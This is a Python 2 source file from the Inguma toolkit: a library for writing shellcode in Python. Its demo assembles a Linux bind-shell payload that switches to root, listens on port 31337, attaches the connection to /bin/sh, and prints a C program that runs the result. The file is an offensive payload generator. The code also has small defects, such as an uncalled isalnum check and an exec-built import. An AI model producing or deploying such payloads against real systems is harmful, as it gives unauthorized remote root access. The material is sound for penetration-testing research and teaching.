1 #!/usr/bin/python
2
3 """
4 PyShellCode library for Inguma Version 0.0.2
5 A library to write shellcodes coding in python.
6 Copyright (c) 2006, 2007 Joxean Koret, joxeankoret [at] yahoo.es
7
8 This program is free software; you can redistribute it and/or
9 modify it under the terms of the GNU General Public License
10 as published by the Free Software Foundation; version 2
11 of the License.
12
13 This program is distributed in the hope that it will be useful,
14 but WITHOUT ANY WARRANTY; without even the implied warranty of
15 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16 GNU General Public License for more details.
17
18 You should have received a copy of the GNU General Public License
19 along with this program; if not, write to the Free Software
20 Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
21 """
22
23 import binascii
24
25 class PyEgg:
26
27 osType = None
28 processor = None
29 buf = ""
30 internal = None
31
32 def __init__(self, mOsType="linux", mProcessor="x86"):
33 self.osType = mOsType.lower()
34 self.processor = mProcessor.lower()
35
36 if not self.osType.isalnum() or not self.processor.isalnum:
37 print "ERROR: Unacceptable module %s.%s" % (self.osType, self.processor)
38 raise
39
40 # FIXME: Horrible hack!
41 module = "import %s.%s as internal" % (self.processor, self.osType)
42 exec(module)
43
44 self.internal = internal
45
46 def getShellcode(self):
47 ret = ""
48 for c in self.buf:
49 ret += chr(92) + "x" + binascii.b2a_hex(c)
50
51 return ret
52
53 def getEgg(self):
54 return self.buf
55
56 def setuid(self, mid = 0):
57 self.buf += self.internal.setuid(mid)
58
59 def setgid(self, mid = 0):
60 self.buf += self.internal.setgid(mid)
61
62 def socket(self, adomain, atype, aprotocol=0):
63 self.buf += self.internal.socket(adomain, atype, aprotocol)
64
65 def bind(self, aport):
66 self.buf += self.internal.bind(aport)
67
68 def listen(self, abacklog=1):
69 self.buf += self.internal.listen(abacklog)
70
71 def accept(self):
72 self.buf += self.internal.accept()
73
74 def exit(self, retvalue=0):
75 self.buf += self.internal.exit(retvalue)
76
77 def close(self, fd=0):
78 self.buf += self.internal.close(fd)
79
80 def dup2(self, fd=0):
81 self.buf += self.internal.dup2(fd)
82
83 def execSh(self):
84 self.buf += self.internal.execSh()
85
86 if __name__ == "__main__":
87
88 import socket
89
90 #a = PyEgg("openbsd")
91 a = PyEgg("linux")
92
93 # Change to root
94 a.setuid(0)
95 a.setgid(0)
96
97 # Listen in all available addresses at port 31337
98 a.socket(socket.AF_INET, socket.SOCK_STREAM)
99 a.bind(31337)
100 a.listen()
101
102 # Got a connection, duplicate fd descriptors
103 a.accept()
104 a.dup2(2)
105 a.dup2(1)
106 a.dup2(0)
107
108 # Run /bin/sh
109 a.execSh()
110 sc = a.getShellcode()
111
112 print "#include <stdio.h>"
113 print
114 print 'char *sc="%s";' % sc
115 print
116 print "int main(void) {"
117 print "\t((void(*)())sc)();"
118 print "}"
119 print
120
121